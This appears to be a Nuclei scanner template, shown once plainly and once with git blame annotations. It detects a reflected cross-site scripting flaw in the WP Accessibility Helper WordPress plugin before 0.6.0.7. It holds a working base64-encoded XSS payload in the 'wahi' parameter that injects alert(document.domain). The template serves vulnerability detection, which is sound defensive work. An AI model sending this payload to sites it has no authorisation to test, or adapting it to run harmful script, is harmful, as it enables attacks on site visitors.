nuclei-templates/vulnerabilities/wordpress/accessibility-helper-xss.yaml

id: accessibility-helper-xss

info:
  name: WP Accessibility Helper (WAH) < 0.6.0.7 - Reflected Cross-Site Scripting (XSS)
  author: dhiyaneshDK
  severity: medium
  description: The plugin does not sanitise and escape the wahi parameter before outputting back its base64 decode value in the page, leading to a Reflected Cross-Site Scripting issue.
  reference:
    - https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5
  tags: xss,wordpress,wp-plugin,wp

requests:
  - method: GET
    path:
      - '{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var wah_target_src = '';alert(document.domain);//';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
Update and rename wp-accessibility-helper-xss.yaml to accessibility-helper-xss.yaml 2022-02-22 07:50:05 +00:00			`id: accessibility-helper-xss`
Create wp-accessibility-helper-xss.yaml 2022-02-19 11:13:05 +00:00
			`info:`
			`name: WP Accessibility Helper (WAH) < 0.6.0.7 - Reflected Cross-Site Scripting (XSS)`
			`author: dhiyaneshDK`
			`severity: medium`
			`description: The plugin does not sanitise and escape the wahi parameter before outputting back its base64 decode value in the page, leading to a Reflected Cross-Site Scripting issue.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5`
Create wp-accessibility-helper-xss.yaml 2022-02-19 11:13:05 +00:00			`tags: xss,wordpress,wp-plugin,wp`

			`requests:`
			`- method: GET`
			`path:`
Update and rename wp-accessibility-helper-xss.yaml to accessibility-helper-xss.yaml 2022-02-22 07:50:05 +00:00			`- '{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v'`
Create wp-accessibility-helper-xss.yaml 2022-02-19 11:13:05 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
Update and rename wp-accessibility-helper-xss.yaml to accessibility-helper-xss.yaml 2022-02-22 07:50:05 +00:00			`- "var wah_target_src = '';alert(document.domain);//';"`
Create wp-accessibility-helper-xss.yaml 2022-02-19 11:13:05 +00:00
			`- type: word`
			`part: header`
			`words:`
			`- text/html`

			`- type: status`
			`status:`
			`- 200`